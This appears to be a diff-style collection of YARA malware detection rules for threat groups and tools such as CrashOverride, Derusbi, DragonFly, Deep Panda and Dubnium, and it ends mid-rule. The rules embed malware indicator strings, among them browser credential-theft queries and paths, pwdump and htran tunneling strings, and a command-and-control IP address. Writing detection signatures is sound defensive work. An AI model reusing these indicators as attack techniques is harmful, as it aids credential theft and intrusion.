Date: 2016-06-12
|
||||
Identifier: Crash Override
|
||||
*/
|
||||
|
||||
import "pe"
|
||||
|
||||
rule dragos_crashoverride_suspcious
|
||||
{
|
||||
meta:
|
||||
description = "CRASHOVERRIDE v1 Wiper"
|
||||
author = "Dragos Inc"
|
||||
reference = "https://t.co/h8QaIP4FU8"
|
||||
strings:
|
||||
$s0 = "SYS_BASCON.COM" fullword nocase wide
|
||||
$s1 = ".pcmp" fullword nocase wide
|
||||
$s2 = ".pcmi" fullword nocase wide
|
||||
$s3 = ".pcmt" fullword nocase wide
|
||||
$s4 = ".cin" fullword nocase wide
|
||||
condition:
|
||||
pe.exports("Crash") and any of ($s*)
|
||||
}
|
||||
|
||||
rule dragos_crashoverride_exporting_dlls {
|
||||
meta:
|
||||
description = "CRASHOVERRIDE v1 Suspicious Export"
|
||||
author = "Dragos Inc"
|
||||
reference = "https://t.co/h8QaIP4FU8"
|
||||
condition:
|
||||
pe.exports("Crash") & pe.characteristics
|
||||
}
|
||||
|
||||
rule dragos_crashoverride_name_search {
|
||||
meta:
|
||||
description = "CRASHOVERRIDE v1 Suspicious Strings and Export"
|
||||
author = "Dragos Inc"
|
||||
reference = "https://t.co/h8QaIP4FU8"
|
||||
strings:
|
||||
$s0 = "101.dll" fullword nocase wide
|
||||
$s1 = "Crash101.dll" fullword nocase wide
|
||||
$s2 = "104.dll" fullword nocase wide
|
||||
$s3 = "Crash104.dll" fullword nocase wide
|
||||
$s4 = "61850.dll" fullword nocase wide
|
||||
$s5 = "Crash61850.dll" fullword nocase wide
|
||||
$s6 = "OPCClientDemo.dll" fullword nocase wide
|
||||
$s7 = "OPC" fullword nocase wide
|
||||
$s8 = "CrashOPCClientDemo.dll" fullword nocase wide
|
||||
$s9 = "D2MultiCommService.exe" fullword nocase wide
|
||||
$s10 = "CrashD2MultiCommService.exe" fullword nocase wide $s11 = "61850.exe" fullword nocase wide
|
||||
$s12 = "OPC.exe" fullword nocase wide
|
||||
$s13 = "haslo.exe" fullword nocase wide
|
||||
$s14 = "haslo.dat" fullword nocase wide
|
||||
condition:
|
||||
any of ($s*) and pe.exports("Crash")
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,70 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-05-25
|
||||
Identifier: Kaspersky Report on threats involving CVE-2015-2545
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Mal_Dropper_httpEXE_from_CAB {
|
||||
meta:
|
||||
description = "Detects a dropper from a CAB file mentioned in the article"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/13Wgy1"
|
||||
date = "2016-05-25"
|
||||
score = 60
|
||||
hash1 = "9e7e5f70c4b32a4d5e8c798c26671843e76bb4bd5967056a822e982ed36e047b"
|
||||
strings:
|
||||
$s1 = "029.Hdl" fullword ascii
|
||||
$s2 = "http.exe" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 1000KB and ( all of ($s*) ) )
|
||||
}
|
||||
|
||||
rule Mal_http_EXE {
|
||||
meta:
|
||||
description = "Detects trojan from APT report named http.exe"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/13Wgy1"
|
||||
date = "2016-05-25"
|
||||
score = 80
|
||||
hash1 = "ad191d1d18841f0c5e48a5a1c9072709e2dd6359a6f6d427e0de59cfcd1d9666"
|
||||
strings:
|
||||
$x1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"%s\"" fullword ascii
|
||||
$x2 = "%ALLUSERSPROFILE%\\Accessories\\wordpade.exe" fullword ascii
|
||||
$x3 = "\\dumps.dat" fullword ascii
|
||||
$x4 = "\\wordpade.exe" fullword ascii
|
||||
$x5 = "\\%s|%s|4|%d|%4d-%02d-%02d %02d:%02d:%02d|" fullword ascii
|
||||
$x6 = "\\%s|%s|5|%d|%4d-%02d-%02d %02d:%02d:%02d|" fullword ascii
|
||||
$x7 = "cKaNBh9fnmXgJcSBxx5nFS+8s7abcQ==" fullword ascii
|
||||
$x8 = "cKaNBhFLn1nXMcCR0RlbMQ==" fullword ascii /* base64: pKY1[1 */
|
||||
|
||||
$s1 = "SELECT * FROM moz_logins;" fullword ascii
|
||||
$s2 = "makescr.dat" fullword ascii
|
||||
$s3 = "%s\\Mozilla\\Firefox\\profiles.ini" fullword ascii
|
||||
$s4 = "?moz-proxy://" fullword ascii
|
||||
$s5 = "[%s-%s] Title: %s" fullword ascii
|
||||
$s6 = "Cforeign key mismatch - \"%w\" referencing \"%w\"" fullword ascii
|
||||
$s7 = "Windows 95 SR2" fullword ascii
|
||||
$s8 = "\\|%s|0|0|" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) and 2 of ($s*) ) ) or ( 3 of ($x*) )
|
||||
}
|
||||
|
||||
rule Mal_PotPlayer_DLL {
|
||||
meta:
|
||||
description = "Detects a malicious PotPlayer.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/13Wgy1"
|
||||
date = "2016-05-25"
|
||||
score = 70
|
||||
hash1 = "705409bc11fb45fa3c4e2fa9dd35af7d4613e52a713d9c6ea6bc4baff49aa74a"
|
||||
strings:
|
||||
$x1 = "C:\\Users\\john\\Desktop\\PotPlayer\\Release\\PotPlayer.pdb" fullword ascii
|
||||
|
||||
$s3 = "PotPlayer.dll" fullword ascii
|
||||
$s4 = "\\update.dat" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 200KB and $x1 or all of ($s*)
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2018-01-22
|
||||
Identifier: Dark Caracal
|
||||
Reference: https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule MiniRAT_Gen_1 {
|
||||
meta:
|
||||
description = "Detects Mini RAT malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news"
|
||||
date = "2018-01-22"
|
||||
hash1 = "091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b"
|
||||
hash2 = "b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d"
|
||||
hash3 = "ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2"
|
||||
hash4 = "ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790"
|
||||
hash5 = "675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd"
|
||||
strings:
|
||||
$x1 = "\\Mini rat\\" ascii
|
||||
$x2 = "\\Projects\\ali\\Clever Components v7\\" ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 7000KB and 1 of them
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
/* Deep Panda APT */
|
||||
|
||||
rule DeepPanda_sl_txt_packed {
|
||||
meta:
|
||||
description = "Hack Deep Panda - ScanLine sl-txt-packed"
|
||||
author = "Florian Roth"
|
||||
date = "2015/02/08"
|
||||
hash = "ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34"
|
||||
strings:
|
||||
$s0 = "Command line port scanner" fullword wide
|
||||
$s1 = "sl.exe" fullword wide
|
||||
$s2 = "CPports.txt" fullword ascii
|
||||
$s3 = ",GET / HTTP/.}" fullword ascii
|
||||
$s4 = "Foundstone Inc." fullword wide
|
||||
$s9 = " 2002 Foundstone Inc." fullword wide
|
||||
$s15 = ", Inc. 2002" fullword ascii
|
||||
$s20 = "ICMP Time" fullword ascii
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule DeepPanda_lot1 {
|
||||
meta:
|
||||
description = "Hack Deep Panda - lot1.tmp-pwdump"
|
||||
author = "Florian Roth"
|
||||
date = "2015/02/08"
|
||||
hash = "5d201a0fb0f4a96cefc5f73effb61acff9c818e1"
|
||||
strings:
|
||||
$s0 = "Unable to open target process: %d, pid %d" fullword ascii
|
||||
$s1 = "Couldn't delete target executable from remote machine: %d" fullword ascii
|
||||
$s2 = "Target: Failed to load SAM functions." fullword ascii
|
||||
$s5 = "Error writing the test file %s, skipping this share" fullword ascii
|
||||
$s6 = "Failed to create service (%s/%s), error %d" fullword ascii
|
||||
$s8 = "Service start failed: %d (%s/%s)" fullword ascii
|
||||
$s12 = "PwDump.exe" fullword ascii
|
||||
$s13 = "GetAvailableWriteableShare returned an error of %ld" fullword ascii
|
||||
$s14 = ":\\\\.\\pipe\\%s" fullword ascii
|
||||
$s15 = "Couldn't copy %s to destination %s. (Error %d)" fullword ascii
|
||||
$s16 = "dump logon session" fullword ascii
|
||||
$s17 = "Timed out waiting to get our pipe back" fullword ascii
|
||||
$s19 = "SetNamedPipeHandleState failed, error %d" fullword ascii
|
||||
$s20 = "%s\\%s.exe" fullword ascii
|
||||
condition:
|
||||
10 of them
|
||||
}
|
||||
|
||||
rule DeepPanda_htran_exe {
|
||||
meta:
|
||||
description = "Hack Deep Panda - htran-exe"
|
||||
author = "Florian Roth"
|
||||
date = "2015/02/08"
|
||||
hash = "38e21f0b87b3052b536408fdf59185f8b3d210b9"
|
||||
strings:
|
||||
$s0 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
|
||||
$s2 = "\\Release\\htran.pdb" ascii
|
||||
$s3 = "[SERVER]connection to %s:%d error" fullword ascii
|
||||
$s4 = "-tran <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
|
||||
$s8 = "======================== htran V%s =======================" fullword ascii
|
||||
$s11 = "-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
|
||||
$s15 = "[+] OK! I Closed The Two Socket." fullword ascii
|
||||
$s20 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule DeepPanda_Trojan_Kakfum {
|
||||
meta:
|
||||
description = "Hack Deep Panda - Trojan.Kakfum sqlsrv32.dll"
|
||||
author = "Florian Roth"
|
||||
date = "2015/02/08"
|
||||
hash1 = "ab58b6aa7dcc25d8f6e4b70a24e0ccede0d5f6129df02a9e61293c1d7d7640a2"
|
||||
hash2 = "c6c3bb72896f8f0b9a5351614fd94e889864cf924b40a318c79560bbbcfa372f"
|
||||
strings:
|
||||
$s0 = "%SystemRoot%\\System32\\svchost.exe -k sqlserver" fullword ascii
|
||||
$s1 = "%s\\sqlsrv32.dll" fullword ascii
|
||||
$s2 = "%s\\sqlsrv64.dll" fullword ascii
|
||||
$s3 = "%s\\%d.tmp" fullword ascii
|
||||
$s4 = "ServiceMaix" fullword ascii
|
||||
$s15 = "sqlserver" fullword ascii
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud
|
||||
Date: 2015-12-09
|
||||
Reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family
|
||||
Identifier: Derusbi Dez 2015
|
||||
*/
|
||||
|
||||
rule derusbi_kernel
|
||||
{
|
||||
meta:
|
||||
description = "Derusbi Driver version"
|
||||
date = "2015-12-09"
|
||||
author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
|
||||
strings:
|
||||
$token1 = "$$$--Hello"
|
||||
$token2 = "Wrod--$$$"
|
||||
$cfg = "XXXXXXXXXXXXXXX"
|
||||
$class = ".?AVPCC_BASEMOD@@"
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and $token1 and $token2 and $cfg and $class
|
||||
}
|
||||
|
||||
rule derusbi_linux
|
||||
{
|
||||
meta:
|
||||
description = "Derusbi Server Linux version"
|
||||
date = "2015-12-09"
|
||||
author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
|
||||
strings:
|
||||
$PS1 = "PS1=RK# \\u@\\h:\\w \\$"
|
||||
$cmd = "unset LS_OPTIONS;uname -a"
|
||||
$pname = "[diskio]"
|
||||
$rkfile = "/tmp/.secure"
|
||||
$ELF = "\x7fELF"
|
||||
condition:
|
||||
$ELF at 0 and $PS1 and $cmd and $pname and $rkfile
|
||||
}
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2015-12-15
|
||||
Identifier: Derusbi Dez 2015
|
||||
*/
|
||||
|
||||
rule Derusbi_Kernel_Driver_WD_UDFS {
|
||||
meta:
|
||||
description = "Detects Derusbi Kernel Driver"
|
||||
author = "Florian Roth"
|
||||
reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
|
||||
date = "2015-12-15"
|
||||
score = 80
|
||||
hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
|
||||
hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
|
||||
hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
|
||||
hash4 = "e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59"
|
||||
strings:
|
||||
$x1 = "\\\\.\\pipe\\usbpcex%d" fullword wide
|
||||
$x2 = "\\\\.\\pipe\\usbpcg%d" fullword wide
|
||||
$x3 = "\\??\\pipe\\usbpcex%d" fullword wide
|
||||
$x4 = "\\??\\pipe\\usbpcg%d" fullword wide
|
||||
$x5 = "$$$--Hello" fullword ascii
|
||||
$x6 = "Wrod--$$$" fullword ascii
|
||||
|
||||
$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword wide
|
||||
$s2 = "Update.dll" fullword ascii
|
||||
$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" fullword wide
|
||||
$s4 = "\\Driver\\nsiproxy" fullword wide
|
||||
$s5 = "HOST: %s" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 800KB and
|
||||
(
|
||||
2 of ($x*) or all of ($s*)
|
||||
)
|
||||
}
|
||||
|
||||
rule Derusbi_Code_Signing_Cert {
|
||||
meta:
|
||||
description = "Detects an executable signed with a certificate also used for Derusbi Trojan - suspicious"
|
||||
author = "Florian Roth"
|
||||
reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
|
||||
date = "2015-12-15"
|
||||
score = 60
|
||||
strings:
|
||||
$s1 = "Fuqing Dawu Technology Co.,Ltd.0" fullword ascii
|
||||
$s2 = "XL Games Co.,Ltd.0" fullword ascii
|
||||
$s3 = "Wemade Entertainment co.,Ltd0" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 800KB and 1 of them
|
||||
}
|
||||
|
||||
rule XOR_4byte_Key {
|
||||
meta:
|
||||
description = "Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan)"
|
||||
author = "Florian Roth"
|
||||
reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
|
||||
date = "2015-12-15"
|
||||
score = 60
|
||||
strings:
|
||||
/* Op Code */
|
||||
$s1 = { 85 C9 74 0A 31 06 01 1E 83 C6 04 49 EB F2 }
|
||||
/*
|
||||
test ecx, ecx
|
||||
jz short loc_590170
|
||||
xor [esi], eax
|
||||
add [esi], ebx
|
||||
add esi, 4
|
||||
dec ecx
|
||||
jmp short loc_590162
|
||||
*/
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 900KB and all of them
|
||||
}
|
||||
|
||||
rule Derusbi_Backdoor_Mar17_1 {
|
||||
meta:
|
||||
description = "Detects a variant of the Derusbi backdoor"
|
||||
author = "Florian Roth"
|
||||
reference = "Internal Research"
|
||||
date = "2017-03-03"
|
||||
hash1 = "f87915f21dcc527981ebb6db3d332b5b341129b4af83524f59d7178e9d2a3a32"
|
||||
strings:
|
||||
$x1 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
|
||||
$x2 = "c%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll" fullword wide
|
||||
$x3 = "%Systemroot%\\Help\\perfc009.dat" fullword wide
|
||||
$x4 = "rundll32.exe \"%s\", R32 %s" fullword wide
|
||||
$x5 = "OfficeUt32.dll" fullword ascii
|
||||
$x6 = "\\\\.\\pipe\\usb%so" fullword wide
|
||||
$x7 = "\\\\.\\pipe\\usb%si" fullword wide
|
||||
$x8 = "\\tmp1.dat" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 400KB and 1 of them )
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
import "pe"
|
||||
|
||||
rule APT_DonotTeam_YTYframework : APT DonotTeam Windows {
|
||||
meta:
|
||||
author = "James E.C, ProofPoint"
|
||||
description = "Modular malware framework with similarities to EHDevel"
|
||||
hashes = "1e0c1b97925e1ed90562d2c68971e038d8506b354dd6c1d2bcc252d2a48bc31c"
|
||||
reference = "arbornetworks.com/blog/asert/don…"
|
||||
reference2 = "labs.bitdefender.com/2017/09/ehdeve…"
|
||||
date = "08-03-2018"
|
||||
strings:
|
||||
$x1 = "/football/download2/" ascii wide
|
||||
$x2 = "/football/download/" ascii wide
|
||||
$x3 = "Caption: Xp>" wide
|
||||
|
||||
$x_c2 = "5.135.199.0" ascii fullword
|
||||
|
||||
$a1 = "getGoogle" ascii fullword
|
||||
$a2 = "/q /noretstart" wide
|
||||
$a3 = "IsInSandbox" ascii fullword
|
||||
$a4 = "syssystemnew" ascii fullword
|
||||
$a5 = "ytyinfo" ascii fullword
|
||||
$a6 = "\\ytyboth\\yty " ascii
|
||||
|
||||
$s1 = "SELECT Name FROM Win32_Processor" wide
|
||||
$s2 = "SELECT Caption FROM Win32_OperatingSystem" wide
|
||||
$s3 = "SELECT SerialNumber FROM Win32_DiskDrive" wide
|
||||
$s4 = "VM: Yes" wide fullword
|
||||
$s5 = "VM: No" wide fullword
|
||||
$s6 = "helpdll.dll" ascii fullword
|
||||
$s7 = "boothelp.exe" ascii fullword
|
||||
$s8 = "SbieDll.dll" wide fullword
|
||||
$s9 = "dbghelp.dll" wide fullword
|
||||
$s10 = "YesNoMaybe" ascii fullword
|
||||
$s11 = "saveData" ascii fullword
|
||||
$s12 = "saveLogs" ascii fullword
|
||||
condition:
|
||||
uint16be(0) == 0x4d5a and filesize < 500KB and (
|
||||
pe.imphash() == "87775285899fa860b9963b11596a2ded" or
|
||||
1 of ($x*) or 3 of ($a*) or 6 of ($s*)
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-09-12
|
||||
Identifier: DragonFly
|
||||
Reference: https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
import "pe"
|
||||
|
||||
rule Unspecified_Malware_Sep1_A1 {
|
||||
meta:
|
||||
description = "Detects malware from DrqgonFly APT report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
|
||||
date = "2017-09-12"
|
||||
hash1 = "28143c7638f22342bff8edcd0bedd708e265948a5fcca750c302e2dca95ed9f0"
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and
|
||||
filesize < 200KB and
|
||||
pe.imphash() == "17a4bd9c95f2898add97f309fc6f9bcd"
|
||||
)
|
||||
}
|
||||
|
||||
rule DragonFly_APT_Sep17_1 {
|
||||
meta:
|
||||
description = "Detects malware from DrqgonFly APT report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
|
||||
date = "2017-09-12"
|
||||
hash1 = "fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9"
|
||||
strings:
|
||||
$s1 = "\\Update\\Temp\\ufiles.txt" fullword wide
|
||||
$s2 = "%02d.%02d.%04d %02d:%02d" fullword wide
|
||||
$s3 = "*pass*.*" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
|
||||
}
|
||||
|
||||
rule DragonFly_APT_Sep17_2 {
|
||||
meta:
|
||||
description = "Detects malware from DrqgonFly APT report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
|
||||
date = "2017-09-12"
|
||||
hash1 = "178348c14324bc0a3e57559a01a6ae6aa0cb4013aabbe324b51f906dcf5d537e"
|
||||
strings:
|
||||
$s1 = "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" fullword wide
|
||||
$s2 = "C:\\Users\\Public\\Log.txt" fullword wide
|
||||
$s3 = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" fullword wide
|
||||
$s4 = "***************** Mozilla Firefox ****************" fullword wide
|
||||
$s5 = "********************** Opera *********************" fullword wide
|
||||
$s6 = "\\AppData\\Local\\Microsoft\\Credentials\\" fullword wide
|
||||
$s7 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\" fullword wide
|
||||
$s8 = "**************** Internet Explorer ***************" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 3000KB and 3 of them )
|
||||
}
|
||||
|
||||
rule DragonFly_APT_Sep17_3 {
|
||||
meta:
|
||||
description = "Detects malware from DrqgonFly APT report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
|
||||
date = "2017-09-12"
|
||||
hash1 = "b051a5997267a5d7fa8316005124f3506574807ab2b25b037086e2e971564291"
|
||||
strings:
|
||||
$s1 = "kernel64.dll" fullword ascii
|
||||
$s2 = "ws2_32.dQH" fullword ascii
|
||||
$s3 = "HGFEDCBADCBA" fullword ascii
|
||||
$s4 = "AWAVAUATWVSU" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and
|
||||
filesize < 40KB and (
|
||||
pe.imphash() == "6f03fb864ff388bac8680ac5303584be" or
|
||||
all of them
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
rule DragonFly_APT_Sep17_4 {
|
||||
meta:
|
||||
description = "Detects malware from DrqgonFly APT report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
|
||||
date = "2017-09-12"
|
||||
hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
|
||||
strings:
|
||||
$s1 = "screen.exe" fullword wide
|
||||
$s2 = "PlatformInvokeUSER32" fullword ascii
|
||||
$s3 = "GetDesktopImageF" fullword ascii
|
||||
$s4 = "PlatformInvokeGDI32" fullword ascii
|
||||
$s5 = "GetDesktopImage" fullword ascii
|
||||
$s6 = "Too many arguments, going to store in current dir" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 60KB and all of them )
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-06-10
|
||||
Identifier: Dubnium
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Dubnium_Sample_1 {
|
||||
meta:
|
||||
description = "Detects sample mentioned in the Dubnium Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/AW9Cuu"
|
||||
date = "2016-06-10"
|
||||
hash1 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
|
||||
strings:
|
||||
$key1 = "3b840e20e9555e9fb031c4ba1f1747ce25cc1d0ff664be676b9b4a90641ff194" fullword ascii
|
||||
$key2 = "90631f686a8c3dbc0703ffa353bc1fdf35774568ac62406f98a13ed8f47595fd" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 2000KB and all of them
|
||||
}
|
||||
|
||||
rule Dubnium_Sample_2 {
|
||||
meta:
|
||||
description = "Detects sample mentioned in the Dubnium Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/AW9Cuu"
|
||||
date = "2016-06-10"
|
||||
hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
|
||||
strings:
|
||||
$x1 = ":*:::D:\\:c:~:" fullword ascii
|
||||
$s2 = "SPMUVR" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
|
||||
}
|
||||
|
||||
rule Dubnium_Sample_3 {
|
||||
meta:
|
||||
description = "Detects sample mentioned in the Dubnium Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/AW9Cuu"
|
||||
date = "2016-06-10"
|
||||
hash1 = "caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8"
|
||||
hash2 = "e0362d319a8d0e13eda782a0d8da960dd96043e6cc3500faeae521d1747576e5"
|
||||
hash3 = "a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827"
|
||||
strings:
|
||||
$x1 = "copy /y \"%s\" \"%s\" " fullword ascii
|
||||
$x2 = "del /f \"%s\" " fullword ascii
|
||||
$s1 = "del /f /ah \"%s\" " fullword ascii
|
||||
$s2 = "if exist \"%s\" goto Rept " fullword ascii
|
||||
$s3 = "\\*.*.lnk" fullword ascii
|
||||
$s4 = "Dropped" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 2000KB and 5 of them
|
||||
}
|
||||
|
||||
rule Dubnium_Sample_5 {
|
||||
meta:
|
||||
description = "Detects sample mentioned in the Dubnium Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/AW9Cuu"
|
||||
date = "2016-06-10"
|
||||
super_rule = 1
|
||||
hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
|
||||
hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
|
||||
hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
|
||||
hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
|
||||
hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
|
||||
hash6 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
|
||||
hash7 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
|
||||
hash8 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
|
||||
hash9 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
|
||||
strings:
|
||||
$s1 = "$innn[i$[i$^i[e[mdi[m$jf1Wehn[^Whl[^iin_hf$11mahZijnjbi[^[W[f1n$dej$[hn]1[W1ni1l[ic1j[mZjchl$$^he[[j[a[1_iWc[e[" fullword ascii
|
||||
$s2 = "h$YWdh[$ij7^e$n[[_[h[i[[[\\][1$1[[j1W1[1cjm1[$[k1ZW_$$ncn[[Inbnnc[I9enanid[fZCX" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 9000KB and all of them
|
||||
}
|
||||
|
||||
rule Dubnium_Sample_6 {
|
||||
meta:
|
||||
description = "Detects sample mentioned in the Dubnium Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/AW9Cuu"
|
||||
date = "2016-06-10"
|
||||
super_rule = 1
|
||||
hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
|
||||
hash2 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
|
||||
hash3 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
|
||||
strings:
|
||||
$s1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&()`~-_=+[{]{;',." fullword ascii
|
||||
$s2 = "e_$0[bW\\RZY\\jb\\ZY[nimiRc[jRZ]" fullword ascii
|
||||
$s3 = "f_RIdJ0W9RFb[$Fbc9[k_?Wn" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 4000KB and all of them
|
||||
}
|
||||
|
||||
rule Dubnium_Sample_7 {
|
||||
meta:
|
||||
description = "Detects sample mentioned in the Dubnium Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/AW9Cuu"
|
||||
date = "2016-06-10"
|
||||
super_rule = 1
|
||||
hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
|
||||
hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
|
||||
hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
|
||||
hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
|
||||
